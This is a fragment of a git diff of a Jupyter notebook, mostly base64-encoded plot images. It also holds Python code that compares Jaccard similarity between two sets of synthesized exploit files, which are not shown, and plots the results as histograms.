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", "text/plain": [ "
" ] @@ -2084,8 +2084,8 @@ " return jaccard(source, target)\n", "\n", "def main():\n", - " directory_prompt_2 = \"../CI/exploits/synthesized/\"\n", - " directory_prompt_1 = \"../CI/exploits/synthesized-prompt-1/\"\n", + " directory_prompt_2 = \"../CI/exploits/synthesized-exploit-diversification/\"\n", + " directory_prompt_1 = \"../CI/exploits/synthesized-main-prompt/\"\n", " \n", " # Read files and extract exploit function bodies for prompt 2\n", " file_names_2, file_contents_2 = read_files_from_directory(directory_prompt_2)\n", @@ -2109,8 +2109,8 @@ " sns.set_context(\"talk\") # Increase font sizes\n", "\n", " # Histograms with enhancements\n", - " sns.histplot(similarities_2, color='blue', label='Prompt 2 Similarities', kde=True, alpha=0.5, bins=10) # Increased number of bins for more granularity\n", - " sns.histplot(similarities_1, color='red', label='Prompt 1 Similarities', kde=True, alpha=0.5, bins=10) # Increased number of bins for more granularity\n", + " sns.histplot(similarities_2, color='blue', label='Exploit Diversification', kde=False, alpha=0.5, bins=10) # Increased number of bins for more granularity\n", + " sns.histplot(similarities_1, color='red', label='Vulnerability-Exploit Pairs', kde=False, alpha=0.5, bins=10) # Increased number of bins for more granularity\n", "\n", " # Add lines for means\n", " mean_similarity_2 = sum(similarities_2) / len(similarities_2)\n", @@ -2119,7 +2119,7 @@ " plt.axvline(mean_similarity_1, color='red', linestyle='dashed', linewidth=1)\n", "\n", " # Annotations\n", - " plt.text(mean_similarity_2, plt.ylim()[1]*0.8, f'Mean: {mean_similarity_2:.2f}', color='blue', fontsize=13)\n", + " plt.text(mean_similarity_2, plt.ylim()[1]*0.6, f'Mean: {mean_similarity_2:.2f}', color='blue', fontsize=13)\n", " plt.text(mean_similarity_1, plt.ylim()[1]*0.7, f'Mean: {mean_similarity_1:.2f}', color='red', fontsize=13)\n", "\n", " # Additional plot enhancements\n", @@ -2145,12 +2145,12 @@ }, { "cell_type": "code", - "execution_count": 111, + "execution_count": 127, "metadata": {}, "outputs": [ { "data": { - "image/png": "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